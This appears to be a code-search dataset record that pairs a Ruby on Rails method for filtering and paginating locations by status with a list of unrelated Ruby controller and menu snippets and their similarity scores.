"def select_map\n\t\tprint \"\\nThis game features two maps, United States (US) or Germany (G).\\nWhich map would you like to play on? \"\n\t\tinput = nil\n\t\tuntil input != nil\n\t\t\tinput = case gets.chomp.downcase\n\t\t\twhen \"us\", \"united states\" then :US\n\t\t\twhen \"g\", \"germany\" then :G\n\t\t\telse nil\n\t\t\tend\n\t\t\tputs \"\\nThat is not a vaild choice, please try again: \" if input == nil\n\t\tend\n\t\tinput\n\tend",
"def show_events_on_date(date)\n return nil unless events_at?(date)\n\n events = @calendar_events[date]\n puts 'You have following events on this date:'\n print_events(events)\n events\n end",
"def show\n @animal = Animal.new\n @animal.build_org_profile\n @animals = @organization.animals\n @location_options = @organization.organization_locations.map{|l| [ l.id, l.name ]}\n @notifications = @organization.notifications\n #@notifications = Notification.all\n end",
"def show\n @event = Event.find(params[:id])\n filter_by_city(params[\"city\"])\n end",
"def place_selection\n switch_location\n place_selected\n @places_window.refresh\n @places_window.activate\n end",
"def show\n if @event.nil?\n redirect_to action: :index\n end\n end",
"def selection(choice)\n case choice\n when 1\n view_entries\n when 2\n manual_add_entry\n when 3\n puts 'Awaiting Build...'\n hold_screen\n # search_menu\n when 4\n puts 'Awaiting Build...'\n hold_screen\n # file_selection\n end\n end",
"def show_selected_locations(query, args={})\n @links ||= []\n\n # Add some alternate sorting criteria.\n args[:sorting_links] = [\n ['name', :sort_by_name.t],\n ['created_at', :sort_by_created_at.t],\n [(query.flavor == :by_rss_log ? 'rss_log' : 'updated_at'),\n :sort_by_updated_at.t],\n ['num_views', :sort_by_num_views.t],\n ]\n\n # Add \"show observations\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:Observation)\n @links << [:show_objects.t(:type => :observation), {\n :controller => 'observer',\n :action => 'index_observation',\n :params => query_params(query),\n }]\n end\n\n # Add \"show descriptions\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:LocationDescription)\n @links << [:show_objects.t(:type => :description), {\n :action => 'index_location_description',\n :params => query_params(query),\n }]\n end\n\n # Restrict to subset within a geographical region (used by map\n # if it needed to stuff multiple locations into a single marker).\n query = restrict_query_to_box(query)\n\n # Get matching *undefined* locations.\n @undef_location_format = User.current_location_format\n if query2 = coerce_query_for_undefined_locations(query)\n select_args = {\n :group => 'observations.where',\n :select => 'observations.where AS w, COUNT(observations.id) AS c',\n }\n if args[:link_all_sorts]\n select_args[:order] = 'c DESC'\n # (This tells it to say \"by name\" and \"by frequency\" by the subtitles.\n # If user has explicitly selected the order, then this is disabled.)\n @default_orders = true\n end\n @undef_pages = paginate_letters(:letter2, :page2, args[:num_per_page] || 50)\n @undef_data = query2.select_rows(select_args)\n @undef_pages.used_letters = @undef_data.map {|row| row[0][0,1]}.uniq\n if (letter = params[:letter2].to_s.downcase) != ''\n @undef_data = @undef_data.select {|row| row[0][0,1].downcase == letter}\n end\n @undef_pages.num_total = @undef_data.length\n @undef_data = @undef_data[@undef_pages.from..@undef_pages.to]\n else\n @undef_pages = nil\n @undef_data = nil\n end\n\n # Paginate the defined locations using the usual helper. \n args[:always_index] = (@undef_pages && @undef_pages.num_total > 0)\n args[:action] = args[:action] || 'list_locations'\n show_index_of_objects(query, args)\n end",
"def showSportsMenu (email)\r\n loop do\r\n @sportsMenu.executeMenu\r\n case @sportsMenu.option\r\n when 1 then insertNormalEvent(\"Football\",email)\r\n end\r\n break if (@sportsMenu.option==0)\r\n end\r\n end",
"def show_selected_locations(query, args = {})\n # Restrict to subset within a geographical region (used by map\n # if it needed to stuff multiple locations into a single marker).\n query = restrict_query_to_box(query)\n\n # Get matching *undefined* locations.\n get_matching_undefined_locations(query, args)\n\n # Paginate the defined locations using the usual helper.\n args[:always_index] = @undef_pages&.num_total&.positive?\n args[:action] = args[:action] || :index\n show_index_of_objects(query, args)\n end",
"def show\n# @event.create_eventbrite_registrations\n# @eventbrite_event = @event.show_eventbrite_event\n# @orders = @event.orders[\"orders\"]\n# @attendees = @event.attendees[\"attendees\"]\n\n end",
"def list_events(events, question)\n\n clear_screen\n\n events_hash = events.map.with_index(1) do |event|\n {name: event.name, value: event}\n end\n\n @prompt.select(question, events_hash, per_page: 20)\n\n end",
"def show\n @city_action = {}\n @city_action.store('folding',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_FOLDING).action_city.to_a)\n @city_action.store('analysis',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_ANALYSIS).action_city.to_a)\n @city_action.store('discussion',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_DISCUSSION).action_city.to_a)\n @city_action.store('execution',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_EXECUTION).action_city.to_a)\n\n @people_action = {}\n @people_action.store('folding',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_FOLDING).action_people.to_a)\n @people_action.store('analysis',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_ANALYSIS).action_people.to_a)\n @people_action.store('discussion',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_DISCUSSION).action_people.to_a)\n @people_action.store('execution',CalendarAction.action_by_type(CalendarAction::ACTION_TYPE_EXECUTION).action_people.to_a)\n\n respond_to do |format|\n format.html{}\n format.xls { send_data @calendar.to_xls() }\n end\n end",
"def click_on_event option\n visits event_path(option.event)\n clicks_link option.description\n end",
"def show\n @eventsbuscar = Event.search(params[:search]).where('start_date > ?' , Date.today.to_time.in_time_zone(\"Central Time (US & Canada)\") ).order(:start_date => 'ASC')\n @location = Location.friendly.find(params[:id])\n latdown = @location.lat.to_f - 0.1\n latup = @location.lat.to_f + 0.1\n lngdown = @location.lng.to_f - 0.1\n lngup = @location.lng.to_f + 0.1\n\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def show\n gon.place = @place\n end",
"def route_menu_hint\n puts ''\n puts '=== route_Menu_Hint ==='\n routes_list_show\n name = @routes[@routes_ptr]&.first_last_name\n puts \"current route => #{name}\"\n route_stations_list_show\n puts '1 : add new route'\n puts '2 : select next route in list'\n puts '3 : select prev route in list'\n puts '4 : add station to route'\n puts '5 : remove station from route'\n puts '0: return to main menu'\nend",
"def show\n @place = @event.places.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @place }\n end\n end",
"def show\n\tif @account\n\t add_breadcrumb @account.name,polymorphic_path([@account,:movements])\n\t\t@movement = @account.movements.find_by_id(params[:id])\n add_breadcrumb I18n.t('layout.application.search'), request.env[\"HTTP_REFERER\"] if request.env[\"HTTP_REFERER\"] =~ /search/\n\n add_breadcrumb I18n.t('layout.movements.title'), polymorphic_path([@account,@movement])\n \t@map = GMap.new(\"map_show\")\n @map.control_init(:local_search => true)\n @map.interface_init(:scroll_wheel_zoom => true,:double_click_zoom=> false,:set_ui_to_default => true)\n if (not @movement.lng.blank?) and (not @movement.lat.blank?) \n \t\t @map.center_zoom_init([@movement.lat, @movement.lng], 16)\n \t\t @marker = GMarker.new([@movement.lat, @movement.lng])\n @map.declare_init(@marker, 'mymarker')\n @map.overlay_init(@marker)\n \t\telse\n \t\t @map.center_zoom_init([38.134557,-95.537109],8)\n \t\tend\n\t\n\t\trespond_to do |format|\n\t\t format.html # show.html.erb\n\t\t format.iphone { render :layout => false }\n\t\tend\n\telse\n\tredirect_to(dashboard_url)\n\tend\n end",
"def show\n case @user.action\n when \"CofA\"\n @action = \"Change Of Address\"\n when \"AR\"\n @action = \"Annual Report\"\n end\n end",
"def pick_option\n input = get_input\n if input == '1'\n events_array = search_by_city\n display_events_by_city(events_array)\n save_event_or_main_menu(events_array)\n elsif input == '2'\n attractions_array = search_by_keyword\n display_by_keyword(attractions_array)\n save_event_or_main_menu(attractions_array)\n elsif input == '3'\n display_user_events\n elsif input == '4'\n delete_account\n elsif input == '5'\n space(1)\n puts \"#{$logged_in.username}, thanks for checking us out. See ya later!\"\n exit\n else\n space(1)\n invalid_input\n pick_option\n end\nend",
"def loc_time_menu\n loc_time = Menu.new(\"What would you like to do with movie time/theatre slots?\")\n loc_time.add_menu_item({key_user_returns: 1, user_message: \"Create a new theatre/time slot.\", do_if_chosen: \n [\"create_loc_time\"]})\n loc_time.add_menu_item({key_user_returns: 2, user_message: \"Update a theatre/time slot.\", do_if_chosen: \n [\"update_object\", LocationTime, \"loc_time_menu\"]})\n loc_time.add_menu_item({key_user_returns: 3, user_message: \"Show me theatre/time slots.\", do_if_chosen: \n [\"show_object\", LocationTime, \"loc_time_menu\"]})\n loc_time.add_menu_item({key_user_returns: 4, user_message: \"Delete a theatre/time slot.\", do_if_chosen: \n [\"delete_loc_time\"]})\n loc_time.add_menu_item({key_user_returns: 5, user_message: \"Return to main menu.\", do_if_chosen: \n [\"main_menu\"]})\n run_menu_and_call_next(loc_time)\n end",
"def list_event_menu\n choice = nil\n until choice == 'x'\n puts \"\\n==== LIST EVENT MENU ====\"\n puts \"Press 'A' to List All Events\",\n \"Press 'O' to List Past Events\",\n \"Press 'D' to List Events Today\",\n \"Press 'W' to List Events this Week\",\n \"Press 'M' to List Events this Month\",\n \"Press 'X' to go back to Main Menu\"\n choice = prompt('Enter choice')\n case choice\n when 'a'\n list_all\n when 'o'\n list_history\n when 'd'\n list_today_events\n when 'w'\n list_week_events\n when 'm'\n list_month_events\n when 'x'\n main_menu\n else\n clear\n error\n end\n end\nend",
"def update_event_window\n if Input.trigger?(Input::B)\n Sound.play_cancel\n @map_window.show\n @type_window.show.activate\n @event_window.hide.deactivate\n elsif Input.trigger?(Input::C)\n Sound.play_ok\n unless @type_window.index == 1\n fill_page_window\n @event_window.hide.deactivate\n else\n @mode_window.show.activate\n @event_window.deactivate\n end\n end\n end",
"def present_menu_options\n space(1)\n puts \"Choose an option from the list below.\"\n space(1)\n puts '1. Search for events by city'\n puts '2. Search for events by artist or sports team'\n puts '3. See what I have coming up'\n puts '4. Delete my account'\n puts '5. Exit'\n space(1)\n pick_option\nend",
"def show\n @event = Event.find(params[:id])\n @organiser_id = @event.user_id\n @organiser = User.find(@organiser_id)\n @signups = @event.signups\n @names = []\n\n @signups.each do |u|\n @names << u.user_id\n end\n\n @map_embed = @event.google_maps\n\n @date = @event.date\n @d = @date.split('-')\n @ruby_date = Time.new(@d[0],@d[1],@d[2])\n @day_date = @ruby_date.strftime(\"%A %B %d, %Y\")\n\n end",
"def show_select\n __log_activity\n __debug_route\n end",
"def show\n @location = Location.find(params[:id])\n @pagetitle = \"Locations - #{@location.name}\"\n end",
"def show\n # Mostra la descrizione di un evento (magari su una finestrella)\n render json: @event\n end",
"def show\n @poi = Poi.find_by_slug(params[:id])\n if !@poi\n @poi = Poi.find(params[:id].to_i)\n end\n \n if params[:event]\n @event = Event.find params[:event]\n end\n \n @events = @poi.events.where('ends_at > ?', Time.now).order('starts_at asc')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poi }\n end\n end",
"def here\n if @zone_cur == 0\n narrate(\"you are currently at the #{self.name} entrance\")\n elsif @zone_cur == 10\n narrate(\"you are currently at the #{self.name} exit!\")\n else\n narrate(\"you are currently in the #{self.name}\")\n end\n actions\n end",
"def show\n @event_types = EventType.find(params[:id])\n respond_with @event_type\n end",
"def show\n @event = Event.find(params[:id])\n @helpers = @event.event_helpers.find_all_by_orga(false,nil)\n @orgas = @event.event_helpers.find_all_by_orga(true)\n# @user_is_orga = orga?\n @user_is_helper = EventHelper.where(:event_id => @event , :user_id => current_user).exists?\n @lodgings = @event.lodgings.find_all_by_request(false,nil)\n @lodging_requests = @event.lodgings.find_all_by_request(true)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n\t \tformat.ics do\n\t\t\t\tsend_data(\texport_ical(@event).export,\n\t\t\t\t\t\t\t\t\t\t:filename=>\"reisebuero_event.ics\",\n\t\t\t\t\t\t\t\t\t\t:disposition=>\"inline; filename=reisebuero_event.ics\",\n\t\t\t\t\t\t\t\t\t\t:type=>\"text/calendar\")\n\t\t\tend\n end\n end",
"def print_options(type)\n case type\n when 'start_menu'\n type(\"Enter 1 to start a new game.\\n\".green)\n type(\"Enter 2 to load your saved game.\\n\\n\\n\".green)\n entry_prompt\n when 'player_prompt'\n puts \"Enter coordinates (IE: a2) to select a piece.\".green\n puts \"Enter 1 to save you game.\".green\n entry_prompt\n when 'move'\n puts \"Enter coordinates (IE: a4) to select a location.\".green\n puts \"Enter 1 to choose a different piece.\".green\n entry_prompt\n end\n end",
"def view_recent_locations\n if get_uniq_locations.empty?\n puts \"You don't have any locations yet! Start a new ride to add a location.\"\n puts \"\\n\"\n main_menu\n else\n puts \"Your three most recent locations are:\"\n get_uniq_locations.reverse.each_with_index { |location, i| (puts \"#{i+1}. #{location}\" if i < 3)}\n end\n puts \"\\n\"\n location_menu\nend",
"def show\n\n gon.mapping = @map\n vals = @map.meta_data.collect{ |x| x[\"value\"] }.sort.uniq\n redirect_to \"/maps/#{@map.id}/#{map_kind}\"\n\n # gon.color_spots = [\n # vals.first,\n # color_span(vals, 1),\n # color_span(vals, 2),\n # color_span(vals, 3),\n # color_span(vals, 4),\n # vals.last\n # ]\n end",
"def show\n @id = params[:id]\n @event = Event.find(@id)\n if session[:keyword]\n @schedules = @event.time_schedules\n @select_entry = false\n @wdays = [\"日\", \"月\", \"火\", \"水\", \"木\", \"金\", \"土\"]\n end\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @event }\n end\n end",
"def show\n # @location_array = Accuweather.city_search(name: 'vancouver')\n # @vancouver = location_array.first\n end",
"def show\n #TODO\n if !current_user.has_role?(:admin)\n redirect_to events_path\n return\n end\n end",
"def show\n @events = @user.events\n @rides = @user.rides\n @lostandfounds = @user.lostandfounds\n end",
"def show\n @event = Event.find(params[:id])\n @event.increment!(:views_count)\n @attendance = current_user.attendance(@event) if current_user\n @gmaps_json = @event.to_gmaps4rails\n @attenders = @event.attenders\n @weather = @event.weather\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def location\n [organization, topic, 'events'].join('.')\n end",
"def index\n set_venue\n set_performer\n set_sort_var\n set_order_var\n set_range_var\n if [email protected]?\n @events = filter_events(@user.events)\n @title = \"My Events\"\n @current_path = user_events_path(@user)\n elsif [email protected]?\n @events = filter_events(@performer.events)\n @title = \"#{@performer.name} Events\"\n @current_path = performer_events_path(@performer)\n elsif [email protected]?\n @events = filter_events(@venue.events)\n @title = \"#{@venue.name} Events\"\n @current_path = venue_events_path(@venue)\n else\n @events = filter_events(Event.all)\n @title = \"All Events\"\n @current_path = events_path\n end\n end",
"def case_add_to_list(selection)\n case selection\n when 'Song'\n search_song\n when 'Artist'\n search_artist\n when 'Genre'\n store_genre\n when 'Back'\n @menu.my_list\n end\n end",
"def location\n @login_wards = (CoreService.get_global_property_value('facility.login_wards')).split(',') rescue []\n if (CoreService.get_global_property_value('select_login_location').to_s == \"true\" rescue false)\n render :template => 'sessions/select_location'\n end\n end",
"def show\n if @event.user == current_user\n render \"show\"\n else\n redirect_to root_path\n end\n end",
"def show\n clear_query_in_session\n case params[:flow]\n when \"next\"\n redirect_to_next_object(:next, Location, params[:id].to_s)\n when \"prev\"\n redirect_to_next_object(:prev, Location, params[:id].to_s)\n end\n\n # Load Location and LocationDescription along with a bunch of associated\n # objects.\n desc_id = params[:desc]\n return unless find_location!\n\n @canonical_url = \"#{MO.http_domain}/locations/#{@location.id}\"\n\n # Load default description if user didn't request one explicitly.\n desc_id = @location.description_id if desc_id.blank?\n init_description_ivar(desc_id)\n update_view_stats(@location)\n update_view_stats(@description) if @description\n\n init_projects_ivar\n end",
"def event_type_dropdown(event, event_types, conference_id)\n selection = event.event_type.try(:title) || 'Event Type'\n options = event_types.collect do |event_type|\n [\n event_type.title,\n admin_conference_program_event_path(\n conference_id,\n event,\n event: { event_type_id: event_type.id }\n )\n ]\n end\n active_dropdown(selection, options)\n end",
"def show\r\n @ip_events = Ahoy::Event.events_for_ip_and_visit(@visit.ip, @visit.id)\r\n @user_events = []\r\n @event_days = Ahoy::Event.uniq_events_days_for_ip(@visit.ip)\r\n @event_links = Ahoy::Event.top_x_url_visits_for_ip(15, @visit.ip)\r\n end",
"def index\n case params[:scope]\n when \"past\" then @events = Event.past\n when \"free\" then @events = Event.free\n else @events = Event.upcoming \n end #case \n end",
"def display_menu\n puts \"Choose from the following options: \\n\n to find a candidate, type 'find id' (ex. find 1)\n to view all candidates, type 'all'\n to view all qualified candidates, type 'qualified'\n to exit, type 'quit' \n to view menu, type 'menu' \\n\\n\"\nend",
"def show\n @maps = @convention.maps.chronological.alphabetical\n @vendors = @convention.vendors.alphabetical\n @tags = @convention.tags.alphabetical\n end",
"def options(choice)\n\t\tif choice == 1\n\t\t\trename_submenu\n\t\telsif choice == 2\n\t\t\tadd_task_submenu\n\t\telsif choice == 3\n\t\t\tcomplete_submenu\n\t\telsif choice == 4\n\t\t\tuncomplete_submenu\n\t\telsif choice == 5\n\t\t\tprioritize_submenu\n\t\telsif choice == 6\n\t\t\tnormalize_submenu\n\t\telsif choice == 7\n\t\t\tdue_date_submenu\n\t\telsif choice == 8\n\t\t\tremove_date_submenu\n\t\telsif choice == 9\n\t\t\tdelete_task_submenu\n\t\telse\n\t\t\tputs \"Enjoy your day\"\n\t\tend\n\tend"
] | [
"0.6550271",
"0.6291964",
"0.6285029",
"0.62697446",
"0.62322617",
"0.61553884",
"0.6131257",
"0.6030089",
"0.5974883",
"0.59326524",
"0.591444",
"0.5911638",
"0.5851388",
"0.58241403",
"0.5823944",
"0.57971764",
"0.57905614",
"0.5777028",
"0.5760865",
"0.5749241",
"0.5742668",
"0.57414645",
"0.56836027",
"0.567587",
"0.5667129",
"0.5666433",
"0.5636767",
"0.56325525",
"0.56282043",
"0.5627292",
"0.5611323",
"0.56023216",
"0.5597721",
"0.55740356",
"0.5558173",
"0.5544267",
"0.5543103",
"0.55198085",
"0.55092263",
"0.5495862",
"0.5494691",
"0.5490999",
"0.5460001",
"0.5456594",
"0.54485303",
"0.5412425",
"0.54046047",
"0.5403976",
"0.5390844",
"0.5383644",
"0.53706294",
"0.5370318",
"0.536511",
"0.536426",
"0.5359028",
"0.5348411",
"0.5342601",
"0.5339526",
"0.53332096",
"0.5321195",
"0.5320493",
"0.5315103",
"0.53121537",
"0.53120786",
"0.53009075",
"0.5299595",
"0.5288567",
"0.528179",
"0.52762854",
"0.52757126",
"0.52715987",
"0.527155",
"0.5266222",
"0.5266187",
"0.52652204",
"0.52615744",
"0.52497494",
"0.52395374",
"0.523333",
"0.5230997",
"0.52249455",
"0.5222671",
"0.5219768",
"0.5216664",
"0.5214785",
"0.52103794",
"0.52038133",
"0.5202175",
"0.51904696",
"0.5185713",
"0.5180665",
"0.5179508",
"0.51751524",
"0.516147",
"0.51585484",
"0.5154006",
"0.5151532",
"0.5149481",
"0.514086",
"0.513749",
"0.51363164"
] | 0.0 | -1 |
Show location based on selection | def select_locations
if params[:status] == "pending"
@locations = Location.where(status: "pending").order('updated_at ASC').paginate(page: params[:page], per_page: 10)
elsif params[:status] == "accepted"
@locations = Location.where(status: "accepted").order('updated_at ASC').paginate(page: params[:page], per_page: 10)
elsif params[:status] == "declined"
@locations = Location.where(status: "declined").order('updated_at ASC').paginate(page: params[:page], per_page: 10)
elsif params[:status] == "all"
@locations = Location.all.order('updated_at ASC').paginate(page: params[:page], per_page: 10)
else
@locations = Location.where(status: "pending").order('updated_at ASC').paginate(page: params[:page], per_page: 10)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show_location\n\n end",
"def location_switch_label\n if outside_location.blank?\n \"other\"\n else\n \"pick one from the list\"\n end\n end",
"def set_location\n LocationHelper.browse_location(params['select_location'], current_user)\n end",
"def show_selected_locations(query, args = {})\n # Restrict to subset within a geographical region (used by map\n # if it needed to stuff multiple locations into a single marker).\n query = restrict_query_to_box(query)\n\n # Get matching *undefined* locations.\n get_matching_undefined_locations(query, args)\n\n # Paginate the defined locations using the usual helper.\n args[:always_index] = @undef_pages&.num_total&.positive?\n args[:action] = args[:action] || :index\n show_index_of_objects(query, args)\n end",
"def place_selection\n switch_location\n place_selected\n @places_window.refresh\n @places_window.activate\n end",
"def location\n @login_wards = (CoreService.get_global_property_value('facility.login_wards')).split(',') rescue []\n if (CoreService.get_global_property_value('select_login_location').to_s == \"true\" rescue false)\n render :template => 'sessions/select_location'\n end\n end",
"def location\n # Retrieve info for dropdown\n @nationwide = Location.get_nationwide\n #@provinces = Location.provinces.where('id != ?', @nationwide.id).order('denorm_sort').collect {|p| [p.name.capitalize, p.id]}.insert(0, [@nationwide.name.capitalize, @nationwide.id])\n @provinces = Location.provinces.where('id != ?', @nationwide.id).order('denorm_sort')\n\n # Retrieve previously selected locations\n @curr_locations = current_user.present? ? current_user.locations.pluck(:id) : []\n\n # Get all regions for the map display \n @regions = Region.order('region_iso').all\n end",
"def show\n gon.place = @place\n end",
"def set_Location(value)\n set_input(\"Location\", value)\n end",
"def country\n query = create_query(\n :Location, :regexp_search, regexp: \"#{params[:country]}$\"\n )\n show_selected_locations(query, link_all_sorts: true)\n end",
"def choose_location\n params[:location_id] || current_user.location_id\n end",
"def print_location\n\t\[email protected]_point\t\n\tend",
"def show\n @location = Location.find(params[:id])\n end",
"def show\n @location = Location.find(params[:id])\n end",
"def show\n @location = Location.find(params[:id])\n end",
"def show\n @location = Location.find(params[:id])\n end",
"def show\n @location = Location.find(params[:id])\n @pagetitle = \"Locations - #{@location.name}\"\n end",
"def place_selected\n place = $game_system.selected_place\n if place.nil?\n @selected.opacity = 0\n else\n @selected.opacity = 255\n @selected.x = adx(place.map_x)\n @selected.y = ady(place.map_y)\n end\n end",
"def view_all_locations\n print_all_locations\n puts \"\\n\"\n location_menu\nend",
"def show\n find_location\n #@images = @location.images.showable.published.find(:all, {:order => 'is_main_image DESC'})\n #@images = @location.images.showable.find(:all, {:order => 'is_main_image DESC'})\n \n @locations_close_to_this = locations_close_to_this(@location)\n\n if gl = @location.geo_location\n @map_locations = [\n {:lat => gl.lat, :lng => gl.lng}, \n {\n :lat => gl.lat, :lng => gl.lng, :title => @location.name,\n :icon => {\n :url => \"http://#{@frontend_config['DOMAIN']['FULL_NAME']}\" + self.class.helpers.path_to_image('gmaps_marker.png'), \n :scaled_size => 'new google.maps.Size(32,32)'\n }\n }\n ]\n end\n \n @page_header_tags_configurator.set_location(@location)\n \n get_review_template_with_questions(@location)\n end",
"def select_place(place)\n if place.is_a?(Map_Location)\n @selected_place = place.place_tag\n else\n @selected_place = place\n end\n end",
"def show_selected_locations(query, args={})\n @links ||= []\n\n # Add some alternate sorting criteria.\n args[:sorting_links] = [\n ['name', :sort_by_name.t],\n ['created_at', :sort_by_created_at.t],\n [(query.flavor == :by_rss_log ? 'rss_log' : 'updated_at'),\n :sort_by_updated_at.t],\n ['num_views', :sort_by_num_views.t],\n ]\n\n # Add \"show observations\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:Observation)\n @links << [:show_objects.t(:type => :observation), {\n :controller => 'observer',\n :action => 'index_observation',\n :params => query_params(query),\n }]\n end\n\n # Add \"show descriptions\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:LocationDescription)\n @links << [:show_objects.t(:type => :description), {\n :action => 'index_location_description',\n :params => query_params(query),\n }]\n end\n\n # Restrict to subset within a geographical region (used by map\n # if it needed to stuff multiple locations into a single marker).\n query = restrict_query_to_box(query)\n\n # Get matching *undefined* locations.\n @undef_location_format = User.current_location_format\n if query2 = coerce_query_for_undefined_locations(query)\n select_args = {\n :group => 'observations.where',\n :select => 'observations.where AS w, COUNT(observations.id) AS c',\n }\n if args[:link_all_sorts]\n select_args[:order] = 'c DESC'\n # (This tells it to say \"by name\" and \"by frequency\" by the subtitles.\n # If user has explicitly selected the order, then this is disabled.)\n @default_orders = true\n end\n @undef_pages = paginate_letters(:letter2, :page2, args[:num_per_page] || 50)\n @undef_data = query2.select_rows(select_args)\n @undef_pages.used_letters = @undef_data.map {|row| row[0][0,1]}.uniq\n if (letter = params[:letter2].to_s.downcase) != ''\n @undef_data = @undef_data.select {|row| row[0][0,1].downcase == letter}\n end\n @undef_pages.num_total = @undef_data.length\n @undef_data = @undef_data[@undef_pages.from..@undef_pages.to]\n else\n @undef_pages = nil\n @undef_data = nil\n end\n\n # Paginate the defined locations using the usual helper. \n args[:always_index] = (@undef_pages && @undef_pages.num_total > 0)\n args[:action] = args[:action] || 'list_locations'\n show_index_of_objects(query, args)\n end",
"def show\n @location = Location.find(params[:id]) \n end",
"def show\n # @location_array = Accuweather.city_search(name: 'vancouver')\n # @vancouver = location_array.first\n end",
"def reveal_location(loc: [0,0])\n x = loc[0]\n y = loc[1]\n puts \"Revealing location: [#{x}, #{y}]\" if Settings.debug_mode\n puts \"Revealed Map: #{@map}\" if Settings.debug_mode\n @map[x][y] = 1\n end",
"def show\n @mapURL = map_url(@location.address)\n render :show\n end",
"def location\n\t\t@location\n\tend",
"def trainer_chooses_town\n town_choices = Location.where.not(town_name: \"Pallet Town\").map {|town| town.town_name} \n choice = prompt.select(Interactivity.choose_town, town_choices) \n self.user_current_location = Location.find_by(town_name: choice)\n end",
"def select_botgarden_garden_location(data_set, type=nil)\n garden = data_set[InventoryMovement::CURRENT_LOCATION.name]\n garden_location_opts_loc = input_options_locator([], InventoryMovement::CURRENT_LOCATION.name)\n enter_auto_complete(botgarden_garden_location_input_locator, garden_location_opts_loc, garden, type)\n end",
"def display_searched\n\t\tlocation = Location.find_by(id: params[:id])\n\t\t@location_id = location.id\n\t\t@trip_id = location.trip_id\n\t\t# shows location that was searched\n\t\t@hash = Gmaps4rails.build_markers(location) do |location, marker|\n \t\t\tmarker.lat location.to_coordinates[0]\n \t\t\tmarker.lng location.to_coordinates[1]\n \t\t\tmarker.infowindow location.description\n \t\t\tmarker.picture({\n \t\"url\" => \"http://i.imgur.com/1OCtNP3.png\",\n \t\"width\" => 36,\n \t\"height\" => 36})\n\t\tend\n\tend",
"def show\n @dip = Dip.find(params[:id])\n @activity = Activity.find(@dip.activity_id)\n @location_type = LocationType.find(@dip.location_type_id)\n @user = current_user\n address = @user.address\n \n \n if address\n coordinates = Geocoder.coordinates(address)\n elsif request.remote_ip\n coordinates = Geocoder.coordinates(request.remote_ip)\n end\n\n # Default to Sunshine Coast if other location methods fail\n coordinates = [-26.6500669, 153.0666733] unless coordinates\n @locations = @dip.matching_locations(coordinates[0], coordinates[1]).shuffle[0...10]\n end",
"def locations\n # blank\n end",
"def view_favorite_locations\n if get_favorite_locations_array.empty?\n puts \"You don't have any Favorites! Why don't you add one?\"\n puts \"\\n\"\n location_menu\n else\n prints_favorite_locations\n end\n puts \"\\n\"\n location_menu\n end",
"def show\n begin\n \n @location = Location.find(params[:id])\n @person = @location.person\n @nodes = Node.find(:all, :conditions => [\"location_id=?\", params[:id]] )\n @nets = Nets.find(:all, :conditions => [\"location_id=?\", params[:id]] )\n @googlemap = 'https://karte.graz.funkfeuer.at/?'\n @googlemap += \"lng=#{@location.lon}\"\n @googlemap += \"&lat=#{@location.lat}\"\n @googlemap += \"&res=17\"\n @googlemap += \"&marker=all\"\n\n rescue ActiveRecord::RecordNotFound\n flash[:notice] = \"Error, Location with ID #{params[:id]} not found!\"\n redirect_to :action => 'list'\n end\n end",
"def location\n country = Carmen::Country.coded(self.country)\n if country.present? && self.state.present?\n location = country.subregions? ? country.subregions.coded(self.state).name : self.state\n location += \", \"\n else\n location = ''\n end\n country.present? ? location + country.name : nil\n end",
"def display_selection\n if possible_moves.any?\n puts \"=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=X=\"\n puts \"Current position of Pawn.\"\n puts \"#{x}, #{y}\"\n puts 'Please select from possible moves:'\n possible_moves.each_with_index { |v, k| puts \"#{k}) #{v}\" }\n else\n puts \"No possible moves found; Re-run the code\"\n puts \"You have visited following coordinates\"\n visited_coordinates.each { |v| puts \"#{v[0]}, #{v[1]}\" }\n exit!\n end\n end",
"def info_show\n chosen_baptized_at_home_parish?\n end",
"def show\n\tif @account\n\t add_breadcrumb @account.name,polymorphic_path([@account,:movements])\n\t\t@movement = @account.movements.find_by_id(params[:id])\n add_breadcrumb I18n.t('layout.application.search'), request.env[\"HTTP_REFERER\"] if request.env[\"HTTP_REFERER\"] =~ /search/\n\n add_breadcrumb I18n.t('layout.movements.title'), polymorphic_path([@account,@movement])\n \t@map = GMap.new(\"map_show\")\n @map.control_init(:local_search => true)\n @map.interface_init(:scroll_wheel_zoom => true,:double_click_zoom=> false,:set_ui_to_default => true)\n if (not @movement.lng.blank?) and (not @movement.lat.blank?) \n \t\t @map.center_zoom_init([@movement.lat, @movement.lng], 16)\n \t\t @marker = GMarker.new([@movement.lat, @movement.lng])\n @map.declare_init(@marker, 'mymarker')\n @map.overlay_init(@marker)\n \t\telse\n \t\t @map.center_zoom_init([38.134557,-95.537109],8)\n \t\tend\n\t\n\t\trespond_to do |format|\n\t\t format.html # show.html.erb\n\t\t format.iphone { render :layout => false }\n\t\tend\n\telse\n\tredirect_to(dashboard_url)\n\tend\n end",
"def select_location\n puts \"Where are you located?\"\n while MomNPop::Business.all.empty? \n input = gets.strip\n formatted_input = input.gsub(\" \", \"-\") \n MomNPop::Scraper.scrape_site(formatted_input)\n #add more options for use to input more locations \n end \n end",
"def observations_at_location # :nologin: :norobots:\n return unless (location = find_or_goto_index(Location, params[:id].to_s))\n query = create_query(:Observation, :at_location, location: location)\n show_selected_observations(query)\n end",
"def set_DisplayCoordinates(value)\n set_input(\"DisplayCoordinates\", value)\n end",
"def show\n if can?(:>=, \"5\")\n @location = Kitting::Location.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n else\n redirect_to main_app.unauthorized_url\n end\n end",
